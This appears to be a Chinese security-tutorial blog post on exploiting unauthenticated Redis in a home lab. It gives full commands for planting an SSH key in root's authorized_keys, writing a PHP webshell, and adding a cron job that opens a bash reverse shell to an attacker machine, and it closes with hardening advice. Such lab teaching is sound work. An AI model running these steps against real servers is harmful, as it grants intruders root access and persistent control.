知识分享|Redis未授权访问漏洞汇集

admin 2023年6月26日12:36:32评论15 views字数 5969阅读19分53秒阅读模式
今天,小编就为大家梳理与介绍一款采用图文并茂且由简到难的知识分享靶场,让大家实现“以玩促学、以学促练”的学习效果。
推荐指数:★★★★★

知识分享|Redis未授权访问漏洞汇集

知识分享|Redis未授权访问漏洞汇集

01

Redis介绍

Redis是C语言开发的一个开源高性能(key-value)键值对类型的内存NoSQL数据库,可以用作数据库、缓存、信息中间件(性能非常优秀,支持持久化到硬盘且高可用)。由于其自身特点,可以广泛应用在数据集群,分布式队列,信息中间件等网络架构中,在内网渗透的突破中,常常扮演getshell的角色

知识分享|Redis未授权访问漏洞汇集

02

Redis未授权访问漏洞介绍

Redis因配置不当导致未授权访问,可以被攻击者恶意利用。

当前针对Redis未授权访问是一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

很多服务器上的Redis会绑定0.0.0.0:6379,并且没有开启认证(Redis 的默认配置),以及该端口可以通过公网直接访问

如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作

知识分享|Redis未授权访问漏洞汇集
知识分享|Redis未授权访问漏洞汇集


知识分享|Redis未授权访问漏洞汇集

03

漏洞产生条件

漏洞的产生条件需满足以下两点:

Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问,直接暴露在公网。
没有设置密码认证,可以远程登录Redis服务。

04

漏洞影响版本

Redis 2.x,3.x,4.x,5.x

05

漏洞影响危害

Redis未授权访问漏洞带来的危害包含但不限于如下:

攻击者可以不用认证访问到内部数据,可能导致敏感信息泄露,黑客也可以执行攻击代码清空所有数据。 黑客可以通过eval执行lua代码,或者通过数据备份功能往磁盘写入后门文件。 如果redis以root身份运行,黑客可以给root用户写入ssh公钥文件,直接通过ssh远程登录服务器。

如果喜欢,敬请关注,后期内容更精彩!

知识分享|Redis未授权访问漏洞汇集
知识分享|Redis未授权访问漏洞汇集

06

漏洞利用常用命令

Redis漏洞的常用命令如下:

ssh-keygen -t rsa  #生成密钥值
redis-cli -h ip -p 6379 -a passwd   # 外部连接
config set dir /root/redis    #设置保存目录 config set dbfilename redis.rdb   #设置保存文件名 config get dir   #查看保存目录或检查工作目录是否设置成功 config get dbfilename   #检查备份文件名是否设置成功
set webshell "<?php phpinfo();?>"   #设置webshell
config set dbfilename authorized_keys  #设置认证密钥值
set x "nnn公钥值nnn"  #将公钥写入x
save   #进行备份操作
ssh -i id_rsa root@地址 -p21  #连接SSH
slaveof ip port                 # 设置主从关系

虽然小编累的腰酸背痛,双手发麻,But,为了帮助大家了解、理解甚至掌握Redis常用的漏洞利用命令,这点苦不算啥~

知识分享|Redis未授权访问漏洞汇集

知识分享|Redis未授权访问漏洞汇集

07

漏洞场景搭建

1、下载Redis源码,以ubuntu系统为例。

wget http://download.redis.io/releases/redis-5.0.9.tar.gz

2、解压压缩包

tar xzf redis-5.0.9.tar.gz

3、进入安装目录,安装gcc编译环境(非常重要),最后编译执行

sudo apt install gcc tclcd redis-5.0.9make

知识分享|Redis未授权访问漏洞汇集

4、拷贝 redis-server 和 redis-cli 拷贝到/usr/bin目录

cd srccp redis-server /usr/bin/cp redis-cli /usr/bin/

5、将主目录下的redis.conf拷贝到/etc/目录下

cp redis.conf /etc/

6、编辑/etc/redis.conf文件

vim /etc/redis.conf

7、在该行前面增加#,注释ip绑定,允许除本地外的主机远程登录redis服务。

知识分享|Redis未授权访问漏洞汇集

8、关闭保护模式,将yes改为no,允许远程连接redis服务。

知识分享|Redis未授权访问漏洞汇集

9、使用修改过后的配置文件启动Redis服务

redis-server /etc/redis.conf (在redis.conf文件目录下执行)#重新启动配置文件才会生效-----------------------#将此启动脚本加入到/etc/rc.local,让其开机自启动echo "/home/CnHongKe/Redis/redis-5.0.9/src/redis-server    /etc/redis.conf "  >> /etc/rc.local#/home/CnHongKe/Redis/redis-5.0.9是自己安装Redis的目录

知识分享|Redis未授权访问漏洞汇集

10、使用另一台机器或本机无账号登录redis,以此验证redis服务的正确安装。

知识分享|Redis未授权访问漏洞汇集

知识分享|Redis未授权访问漏洞汇集

为了方便大家快速复现,小编也已整理了如下步骤,仅供参考:

默认apt-get安装,先进行更新sudo apt-get upgrade安装sudo apt-get install redis-server  #默认安装到 /usr/bin/redis-server直接启动服务,执行redis-server或者redis-server+(配置文件目录)将配置文件中的bind参数改为0.0.0.0或者注释掉,并且修改protected-mode为no允许外连。关闭防火墙,具体命令:sudo ufw disable  查看防火墙状态:sudo ufw status

08

漏洞利用复现

0X01 利用SSH写公钥登录服务器

>> 利用条件

服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,无需登陆验证。服务端存在.ssh目录并且有写入的权限。

>> 漏洞原理

在数据库中插入一条数据,将本机的公钥作为value或key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。【特别说明】这个场景主要应用在没有 web 应用的服务器,redis一般都是与web分离的,linux系统都存在/root目录,所以这种方式会更加实用些。

>> 漏洞复现

第一步:在攻击机(如Kali)中生成ssh公钥和私钥,密码设置为空。

ssh-keygen -t rsa 

知识分享|Redis未授权访问漏洞汇集

默认会在/root/.ssh/目录中生成2个文件,私钥:id_rsa公钥:id_rsa.pub

第二步:打开id_rsa.pub文件,将里面内容复制出来。

 cat /root/.ssh/id_rsa.pub 或者通过以下命令将生成的公钥另存为pub_key.txt (echo -e "nn";cat /root/.ssh/id_rsa.pub;echo -e "nn")>pub_key.txt 最后将保存的pub_key.txt文件内容写入redis。 cat /root/.ssh/pub_key.txt | redis-cli -h 目标IP -x set pub

知识分享|Redis未授权访问漏洞汇集

第三步:连接目标Redis漏洞主机

redis-cli -h IP -p 6379  #IP是目标redis主机

第四步:设置Redis的备份路径设置为/root/.ssh/,同时将保存的文件名命名为authorized_keys,并将kali生成的ssh公钥数据保存在目标服务器硬盘上路径为/root/.ssh/里面,最后我们可以通过kali的ssh私钥连接目标主机。

config set dir /root/.ssh/  config set dbfilename authorized_keys# set x "nnn公钥nnn",将公钥写入x键。前后用n换行,避免和Redis里其他缓存数据混合savequit---------------------------【友情提醒】注意在config set dir /root/.ssh时出现(error) ERR Changing directory: No such file or directory,只需要在靶机输入ssh localhost即可。

知识分享|Redis未授权访问漏洞汇集

第五步:使用ssh连接目标主机,进而成功获取root权限。

ssh -i id_rsa root@ip  #IP是目标redis主机

知识分享|Redis未授权访问漏洞汇集

完整的思路与步骤已经演示完毕,相信各位大佬应该理解了吧,接下来就需要大家“锻炼”起来啦~

知识分享|Redis未授权访问漏洞汇集

0X02 利用漏洞写入webshell

>> 利用条件

目标开启了web服务,并且知道web路径。root权限执行的redis,具有读写权限。

>> 漏洞原理

借助已知网站的物理路径或绝对路径,通过高级权限进行写马与连接。

>> 漏洞复现

第一步:搭建Web服务器(安装Apache)

apt install apache2 #安装命令systemctl status apache2   #检查服务是否启动----------apache 的默认的一些目录-----------  默认文档根目录是在 ubuntu 上的 /var/www 目录  配置文件是 / etc/apache2/apache2.conf  配置存储在的子目录在/etc/apache2 目录----------开启、关闭和重启服务器-----------  /etc/init.d/apache2 start    //启动Apache服务  /etc/init.d/apache2 stop    //停止Apache服务  /etc/init.d/apache2 restart    //重启Apache服务 

知识分享|Redis未授权访问漏洞汇集

第二步:redis-cli连接目标主机,并开启如下骚操作知识分享|Redis未授权访问漏洞汇集

知识分享|Redis未授权访问漏洞汇集

redis-cli -h 192.168.100.138     #连接Redisconfig set dir /var/www/html/     #设置要写入shell的绝对路径config set dbfilename shell.php  #设置数据文件的名字set x "rnrn<?php phpinfo();?>rnrn"   #写入phpinfo()到webshell键save  #保存

知识分享|Redis未授权访问漏洞汇集

知识分享|Redis未授权访问漏洞汇集

知识分享|Redis未授权访问漏洞汇集

0X03 利用计划任务写入webshell

>> 利用条件

root启用Redisredis无密码或者弱密码

>> 漏洞原理

在redis数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。#与写入webshell有点类似 

>> 漏洞复现

第一步:在kali攻击机192.168.100.94中监听任意端口

nc -lnvp 8888

第二步:在目标机器中启动redis服务【建议在CentOS上操作

利用该漏洞建议在Centos上实验,有时Ubuntu上行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
如果必须在Ubuntu系统中演示,可以参考链接https://www.dazhuanlan.com/knight9001/topics/1061140

知识分享|Redis未授权访问漏洞汇集

第三步:在Kali攻击机中进行如下骚操作知识分享|Redis未授权访问漏洞汇集

知识分享|Redis未授权访问漏洞汇集

redis-cli -h 192.168.100.77     #连接CentOS Redis服务器set xx "n* * * * *  bash -i >& /dev/tcp/192.168.100.94/8888 0>&1n"   #反弹连接config set dir /var/spool/cron/     #设置要写入shell的绝对路径config set dbfilename root  #设置数据文件的名字save  #保存

知识分享|Redis未授权访问漏洞汇集

第四步:返回Kali攻击机,观察反弹shell情况。

知识分享|Redis未授权访问漏洞汇集


编写到此处,三种利用的方式已经全部介绍完毕,相信各位大佬应该深入玩转Redis的漏洞利用方式。如果想要免安装的部署环境,可以关注微信公众号,并在消息处留言:Redis靶场,即可获取下载链接。

知识分享|Redis未授权访问漏洞汇集


最后,留给大家一个问题---“如何利用SSRF漏洞对Redis进行写webll呢?”欢迎大家留言讨论,我们准备了礼品送给精选留言的粉丝们。

知识分享|Redis未授权访问漏洞汇集
知识分享|Redis未授权访问漏洞汇集
知识分享|Redis未授权访问漏洞汇集

09

漏洞利用总结

由于内容篇幅较长,现将常见的三种利用方式总结如下:

知识分享|Redis未授权访问漏洞汇集

10

漏洞防御措施

1、以低权限运行 Redis 服务(重启redis才能生效),为Redis 服务创建单独的用户和家目录,并且配置禁止登陆。

groupadd -r redis && useradd -r -g redis redis

2、为Redis添加密码验证(重启redis才能生效),修改redis.conf 文件,添加

requirepass mypassword(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

3、禁止外网访问Redis(重启redis才能生效),修改redis.conf 文件,添加或修改,使得Redis服务只在当前主机可用。

bind 127.0.0.1

4、修改默认端口,修改配置文件redis.conf文件

Port 6379

5、保证 authorized_keys 文件的安全,应该阻止其他用户添加新的公钥。

#将authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:chmod 400 ~/.ssh/authorized_keys
#为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限chattr +i ~/.ssh/authorized_keys
#重命名 ~/.ssh,然后新建新的 ~/.ssh目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable权限。chattr +i ~/.ssh

6、设置防火墙策略,如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

原文始发于微信公众号(数字人才创研院):知识分享|Redis未授权访问漏洞汇集

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月26日12:36:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   知识分享|Redis未授权访问漏洞汇集http://cn-sec.com/archives/1834288.html

发表评论

匿名网友 填写信息